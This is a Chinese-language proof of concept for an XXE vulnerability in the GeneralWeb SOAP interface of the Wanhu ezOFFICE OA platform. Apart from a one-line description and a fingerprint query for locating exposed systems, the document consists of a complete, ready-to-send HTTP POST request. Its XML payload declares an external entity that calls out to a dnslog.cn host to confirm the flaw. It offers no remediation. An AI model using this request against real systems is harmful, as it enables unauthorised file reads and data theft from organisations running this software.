万户OA系统接口GeneralWeb存在XXE漏洞,允许攻击者利用XML解析器处理外部实体,从而访问本地文件或进行其他恶意操作,可能导致敏感信息泄露和系统被攻击。
app="万户ezOFFICE协同管理平台"
POST /defaultroot/xfservices/./GeneralWeb HTTP/1.1
Host:
User-Agent: Moziilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 457
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:gen="http://com.whir.service/GeneralWeb">
<soapenv:Body>
<gen:OAManager>
<gen:input>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY x SYSTEM "http://123.6x9ryk.dnslog.cn">]>
<root>&x;</root>
</gen:input>
</gen:OAManager>
</soapenv:Body>
</soapenv:Envelope>